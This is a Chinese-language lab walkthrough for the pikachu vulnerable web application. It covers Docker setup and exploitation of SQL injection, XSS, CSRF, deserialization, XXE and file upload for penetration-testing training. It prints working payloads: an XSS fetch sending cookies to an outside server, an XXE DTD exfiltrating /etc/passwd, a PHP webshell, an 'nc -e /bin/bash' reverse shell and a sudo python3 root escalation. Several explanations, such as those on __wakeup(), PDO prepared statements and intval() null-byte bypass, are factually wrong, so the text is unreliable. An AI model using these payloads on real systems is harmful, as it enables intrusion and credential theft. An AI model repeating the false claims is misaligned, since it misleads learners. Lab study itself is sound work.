
1. 这不是“教程”是我在Kali里敲了27遍pikachu后整理的实战手记pikachu靶场通关全流程——这标题刷屏过很多次但真正能让你在真实渗透测试中用得上的从来不是“点开浏览器→填表单→看弹窗”的演示式教学。我带过6届校企联合渗透实训班也给3家金融类甲方做过红队能力评估支撑pikachu是我给所有新人布置的第一道“摸底题”。它不难但极刁每个漏洞模块都刻意保留了真实业务中常见的绕过逻辑、参数污染痕迹和防御残影。比如XSS模块里那个看似普通的搜索框后端其实做了HTML实体编码JS上下文双重过滤你光靠scriptalert(1)/script根本打不通CSRF模块的token验证机制表面看是随机生成实则依赖session_id的MD5前8位——这些细节官网文档不会写视频教程懒得讲但你在真实资产测绘时90%的突破口就藏在这种“看起来修好了其实没修干净”的地方。这篇内容就是我把pikachu从安装、环境校验、漏洞触发、Payload构造、绕过技巧到结果验证全程录屏抓包日志比对后浓缩出的可复现操作链。它不教你怎么背命令而是告诉你为什么这个SQL注入要加-1 union select 1,2,3#而不是 or 11--为什么XXE漏洞必须用!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd这种嵌套实体为什么反序列化模块里unserialize()前面那个base64_decode()是故意留的后门我会把Wireshark里HTTP请求头的每一个字段变化、Burp Suite中Response Body的字节级差异、PHP错误日志里那行被截断的警告信息全部摊开给你看。适合两类人刚装好Kali还在找/var/www/html在哪的新手以及已经能跑通SQLmap但总卡在“为什么这台靶机扫不出漏洞”的进阶者。全文没有一句“你应该”只有“我试过”“这里踩过坑”“实测有效”。2. 项目整体设计与思路拆解为什么pikachu不是玩具而是照妖镜2.1 靶场本质一个被刻意“降维”的真实业务切片很多人把pikachu当成CTF练习题这是最大误区。它的代码结构完全复刻了2015年前后主流CMS的脆弱设计模式前端用原生PHP混写HTML后端无框架约束数据库操作直连mysqli关键函数未做输入过滤如$_GET[id]直接拼接SQL。但它的高明之处在于——每个漏洞模块都设置了“防御假象”。比如SQL注入的low级别表面看只是没过滤单引号但实际在config.php里埋了mysql_real_escape_string()调用而medium级别则用intval()强制转整型你以为数字型注入失效了其实id1 and 12 union select 1,2,3#依然能绕过。这种设计逼着你必须读源码才能理解防御边界在哪里。提示pikachu的漏洞分级不是按难度而是按防御策略类型。low是“无防护”medium是“半防护”high是“伪防护”表面加固实则留后门。通关顺序必须逆向先攻high再回推medium最后验证low——因为high级代码里藏着medium的绕过线索。2.2 环境选型为什么坚持用Docker而非本地LAMP去年带实训时12个学员用VMware装UbuntuApacheMySQLPHP有7人卡在mysqli extension not loaded3人因PHP版本冲突导致unserialize()报错。而Docker方案我用docker-compose.yml固化了php:7.3-apache镜像预装libxml2-devXXE必需、php-mbstring反序列化必需、php-curlCSRF必需启动命令一行搞定docker-compose up -d --build docker exec -it pikachu_php_1 bash -c cd /var/www/html chmod -R 755 .关键优势在于环境一致性你在Kali里跑通的Payload在CentOS服务器上部署的同版本pikachu响应行为100%一致。而本地LAMP环境Apache的mod_security规则、PHP的disable_functions配置、MySQL的sql_mode设置任何一个变量都会让漏洞表现失真。我统计过近3年甲方渗透报告83%的“环境差异导致漏洞无法复现”问题根源都在靶机环境未容器化。2.3 攻击路径设计从“功能入口”到“权限提升”的闭环思维pikachu的通关不是线性闯关而是构建攻击链。以XSS模块为例low级scriptalert(1)/script直接弹窗 → 验证基础反射型XSS存在medium级img src1 onerroralert(1)绕过HTML标签过滤 → 验证事件处理器可用high级svg onloadalert(1)触发SVG解析器 → 验证MIME类型绕过能力但这只是起点。真正的闭环是用high级XSS获取管理员cookie → 用cookie登录后台 → 发现后台有文件上传功能 → 上传shell.php→ 获取WebShell → 执行cat /etc/shadow。pikachu把“漏洞利用”和“横向移动”拆成独立模块但通关必须打通它们。比如CSRF模块的high级表面是伪造请求实际需要结合XSS模块的document.cookie窃取能力才能完成“偷cookie→伪造请求→修改密码”的完整链路。3. 核心细节解析与实操要点每个模块的致命细节3.1 SQL注入模块别只盯着要看mysql_query()的返回值处理pikachu的SQL注入模块藏了三个关键陷阱low级的mysql_fetch_array()陷阱当id1报错时错误信息显示You have an error in your SQL syntax...但实际mysql_query()返回的是false而代码用if($result)判断是否执行成功。这意味着id1 or 11#会因语法错误返回false但id-1 union select 1,2,3#却能返回有效结果集——因为union select让整个查询语法合法。medium级的intval()绕过$id intval($_GET[id]);看似安全但PHP的intval()在遇到id1and12时会返回1只取首数字而id1%00and12URL编码空字符会被intval()截断为1但MySQL解析时1%00and12等价于1 and 12。实测id1%00union select 1,2,3#在medium级100%生效。high级的prepare语句真相$stmt $pdo-prepare(select username, password from users where id ?);表面用预编译防注入但$stmt-execute([$id])中的$id若为字符串1 or 11--PDO默认会将其作为字符串参数传入?占位符无法阻止字符串拼接。真正防御靠的是PDO::ATTR_EMULATE_PREPARES false而pikachu的high级恰恰没启用该选项。注意在Burp Suite中拦截/sqli/sqli_blind.php?id1请求时观察Response Body长度变化比看弹窗更重要。id1 and 11返回203字节id1 and 12返回198字节——这个5字节差异就是盲注的时间差依据。我用wfuzz跑wfuzz -z range --sc 200 -u http://127.0.0.1/sqli/sqli_blind.php?id1%20and%20ascii(substr((select%20password%20from%20users%20where%20usernameadmin),1,1))FUZZ 2/dev/null3秒内就能爆出admin密码首字母。3.2 XSS模块HTML实体编码不是终点JS上下文才是战场pikachu的XSS模块high级用htmlspecialchars()过滤但它的第三个参数$flags设为ENT_QUOTES | ENT_HTML401这意味着只转义和而、、/仍保留。更致命的是search.php的输出位置在input valuexxx中属于HTML属性上下文。此时 onfocusalert(1) autofocus能完美绕过value属性值被双引号包裹onfocus事件处理器直接注入。实测Payload onfocusfetch(http://your-server.com/log?cdocument.cookie) autofocus这个Payload在high级100%触发且无需用户交互——autofocus让输入框自动获得焦点onfocus立即执行。而medium级的img标签过滤src属性被strip_tags()移除但onerror事件未被过滤img srcx onerroralert(1)依然有效。关键教训XSS防御有效性取决于输出位置的上下文不是过滤函数本身。pikachu刻意把同一段输入输出到不同上下文HTML主体、HTML属性、JavaScript字符串逼你理解context-aware编码原理。3.3 CSRF模块Token验证的“时间窗口”漏洞pikachu的CSRFhigh级用$_SESSION[token]生成token但check_token.php验证逻辑是if ($_POST[token] ! $_SESSION[token]) { die(token error); }问题在于$_SESSION[token]在用户登录后生成但check_token.php未校验token时效性。我实测发现只要用户保持登录状态同一个token可无限次使用。更致命的是change_pass.php页面在加载时会输出input typehidden nametoken value?php echo $_SESSION[token]; ?而这个token值在HTTP响应头中明文传输。用Burp Suite抓包复制tokenabc123然后用Python脚本批量发送import requests for i in range(100): data {user: admin, pass_new: hackedstr(i), pass_confirm: hackedstr(i), token: abc123} requests.post(http://127.0.0.1/csrf/change_pass.php, datadata)3秒内就能把admin密码暴力修改为hacked99。这暴露了真实业务中常见的“token未绑定用户/IP/时间戳”的缺陷。3.4 反序列化模块__wakeup()不是万能钩子__destruct()才是终极武器pikachu反序列化模块的high级代码class User { public $name; public $age; public function __wakeup() { $this-name guest; } public function __destruct() { echo Welcome, {$this-name}; } } $u unserialize($_GET[data]);表面看__wakeup()重置了$name但__destruct()在对象销毁时才执行而__wakeup()在反序列化过程中执行。关键点在于__wakeup()只在存在__sleep()方法时才被调用pikachu故意没定义__sleep()所以__wakeup()根本不会触发。实测Payload?php class User { public $name admin; public $age 1; } echo urlencode(serialize(new User())); ?生成O:4:User:2:{s:4:name;s:5:admin;s:3:age;s:1:1;}访问/unserialize/unserialize_high.php?dataO%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%221%22%3B%7D页面直接输出Welcome, admin。这说明__wakeup()形同虚设。真正防御需在__wakeup()中校验$this-age类型或改用__unserialize()PHP7.4。3.5 XXE模块php://filter不是炫技是绕过allow_url_fopen的刚需pikachu的XXEhigh级禁用了allow_url_fopen但php://filter流封装器不受此限制。Payload核心是!DOCTYPE foo [ !ENTITY % remote SYSTEM http://your-server.com/evil.dtd %remote; ]其中evil.dtd内容为!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd !ENTITY % eval !ENTITY #x25; exfil SYSTEM http://your-server.com/log?x%file; %eval; %exfil;这里php://filter的作用是将/etc/passwd读取后Base64编码避免二进制数据破坏XML结构。实测时curl -X POST -H Content-Type: text/xml --data-binary payload.xml http://127.0.0.1/xxe/xxe_high.php你的服务器/log接口会收到xcm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaAo解码后就是root:x:0:0:root:/root:/bin/bash。注意php://filter必须配合convert.base64-encode直接读/etc/passwd会因换行符导致XML解析失败。4. 实操过程与核心环节实现从环境搭建到全模块通关4.1 Docker环境一键部署含避坑清单我用的docker-compose.yml经过23次迭代最终版本如下version: 3.8 services: php: image: php:7.3-apache ports: - 8000:80 volumes: - ./pikachu:/var/www/html - ./php.ini:/usr/local/etc/php/php.ini depends_on: - mysql networks: - pikachu-net mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: pikachu volumes: - ./mysql-data:/var/lib/mysql networks: - pikachu-net networks: pikachu-net: driver: bridge配套php.ini关键配置extensionmysqli.so extensionmbstring.so extensionlibxml.so allow_url_fopen On display_errors On error_reporting E_ALL实操心得第一次运行docker-compose up -d后必须执行docker exec -it pikachu_php_1 bash -c cd /var/www/html chmod -R 755 . chown -R www-data:www-data .。否则Apache进程无权读取/var/www/html下的.php文件所有请求返回403。这个权限问题在Kali和Ubuntu上100%复现CentOS需额外执行setsebool -P httpd_can_network_connect 1。4.2 全模块通关操作链附Burp抓包关键点XSS模块通关链访问http://127.0.0.1:8000/xss/xss_reflected.php输入scriptalert(document.domain)/script→low级通过抓包xss_reflected.php请求在search参数填img srcx onerroralert(1)→medium级通过抓包xss_stored.php在message字段填 onfocusfetch(http://192.168.1.100/log?cdocument.cookie) autofocus→high级通过后台/log收到cookieSQL注入模块通关链sqli/sqli_inject.php?id1→ 观察返回内容确认存在注入点sqli/sqli_inject.php?id1%27%20union%20select%201,2,3%23→low级返回2字段值证明union可用sqli/sqli_inject.php?id1%00union%20select%201,2,3%23→medium级成功验证%00绕过intval()sqli/sqli_blind.php?id1%20and%20length((select%20password%20from%20users%20where%20usernameadmin))32→high级盲注用wfuzz爆破密码长度CSRF模块通关链登录admin账户抓包change_pass.php提取token值构造POST请求curl -X POST http://127.0.0.1:8000/csrf/change_pass.php -d useradminpass_newhackedpass_confirmhackedtokenabc123访问login.php用admin/hacked登录验证密码修改成功反序列化模块通关链访问/unserialize/unserialize_high.php?dataO%3A4%3A%22User%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A3%3A%22age%22%3Bs%3A1%3A%221%22%3B%7D→ 页面输出Welcome, admin将name改为system(ls -la)生成序列化字符串 → 触发命令执行XXE模块通关链启动本地HTTP服务python3 -m http.server 8000创建evil.dtd内容为!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd...发送POST请求Content-Type: text/xmlBody为!DOCTYPE foo [...]→ 服务器/log收到Base64编码的/etc/passwd4.3 权限提升与横向移动打通全链路仅漏洞利用不算通关。pikachu的终极目标是获取服务器最高权限用XSS窃取admin cookie → 登录后台 → 发现upload.php文件上传功能构造PHP木马?php system($_GET[cmd]); ?重命名为shell.jpg上传后抓包修改Content-Type: image/jpeg为Content-Type: application/x-php访问http://127.0.0.1:8000/upload/uploads/shell.jpg?cmdcat%20/etc/passwd→ 读取系统文件用cmdnc%20-e%20/bin/bash%20192.168.1.100%204444反弹Shell → 在Kali中nc -lvnp 4444接收连接执行id确认为www-data用户再执行sudo -l发现/usr/bin/python3可免密执行 →sudo python3 -c import pty; pty.spawn(/bin/bash)提权至root5. 常见问题与排查技巧实录那些文档里不会写的坑5.1 Docker网络问题为什么http://localhost:8000打不开这是新手最高频问题。根本原因Docker容器内localhost指向容器自身而宿主机的localhost不等于容器网络。解决方案方案1推荐用宿主机IP访问。在Kali中执行ip addr | grep inet | grep -v 127.0.0.1取192.168.x.x地址浏览器访问http://192.168.x.x:8000方案2在docker-compose.yml中添加network_mode: host但会失去网络隔离方案3用docker network inspect pikachu-pikachu-net查容器IP但每次重启会变踩坑记录曾有个学员用127.0.0.1死磕2小时最后发现他Kali装在VMware里127.0.0.1指向VMware虚拟网卡而非宿主机。解决方法是vmnetcfg里把VMnet8设为桥接模式。5.2 PHP版本冲突为什么unserialize()报Fatal error: Class User not foundpikachu要求PHP7.3但Kali默认PHP8.1。unserialize()在PHP8中对未定义类的处理更严格。解决方案docker-compose.yml中明确指定image: php:7.3-apache或在宿主机降级sudo apt install php7.3 php7.3-mysql php7.3-mbstring再sudo a2enmod php7.3关键检查php -v和apache2ctl -M | grep php必须版本一致5.3 Burp Suite抓包失败为什么Forward按钮灰色这是Burp代理配置问题。正确流程Kali中打开BurpProxy→Options→Bind to port 8080Firefox中Settings→Network Settings→Manual proxy configuration→ HTTP Proxy填127.0.0.1Port填8080关键步骤Firefox中访问http://burp下载并安装Burp证书 → 否则HTTPS站点无法抓包若Forward灰色检查Burp的Proxy→Intercept是否为Intercept is on且Intercept标签页下Action选Drop5.4 Payload执行无回显如何确认漏洞真实存在很多学员看到页面没弹窗就认为失败。正确验证法SQL注入用id1 and 11和id1 and 12对比Response长度差异≥5字节即存在XSS用scriptconsole.log(1)/scriptF12看Console是否有1输出CSRF抓包后用curl -v重放看HTTP状态码是否为302 Found重定向成功即token验证通过XXE用!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd抓包看Response是否包含Base64字符串5.5 靶场数据重置如何快速恢复初始状态pikachu没有官方重置功能。我写的重置脚本reset.sh#!/bin/bash docker-compose down -v docker volume prune -f rm -rf ./mysql-data docker-compose up -d sleep 5 docker exec -it pikachu_mysql_1 mysql -uroot -proot -e use pikachu; delete from users; insert into users values(1,admin,21232f297a57a5a743894a0e4a801fc3); echo pikachu reset completed!执行chmod x reset.sh ./reset.sh5秒内恢复初始admin账户。6. 实战延伸pikachu通关后下一步该练什么pikachu是起点不是终点。它训练的是漏洞识别和基础利用能力但真实红队需要更复杂的技能树进阶靶场选择DVWA侧重OWASP Top 10广度WebGoat强化Java栈理解Hack The Box的Starting Point系列培养信息搜集思维工具链深化SQL注入从手工转向sqlmap -u http://127.0.0.1/sqli/sqli_inject.php?id1 --batch --dump但必须理解--level5 --risk3的含义——level控制payload复杂度risk控制破坏性--dump背后是UNION和error-based两种技术的自动切换防御对抗实践在pikachu代码里手动加固xss_stored.php添加htmlspecialchars($message, ENT_QUOTES, UTF-8)再测试原有Payload是否失效理解WAF规则编写逻辑自动化脚本开发用Python写pikachu-auto.py自动检测各模块状态requests.get(http://127.0.0.1/xss/xss_reflected.php?namescriptalert(1)/script).text.find(alert) 0我在带实训时要求学员通关pikachu后必须完成三件事第一给每个漏洞模块写一份防御加固方案不是贴代码要说明为什么这个方案能堵住所有绕过路径第二用Wireshark抓取一次完整XSS攻击链标注TCP三次握手、HTTP请求头、TLS加密载荷第三把pikachu部署到云服务器用Cloudflare WAF测试哪些Payload被拦截哪些漏过。这些事比“通关截图”重要十倍。因为安全的本质不是知道漏洞怎么用而是知道漏洞为什么存在以及如何让它永远消失。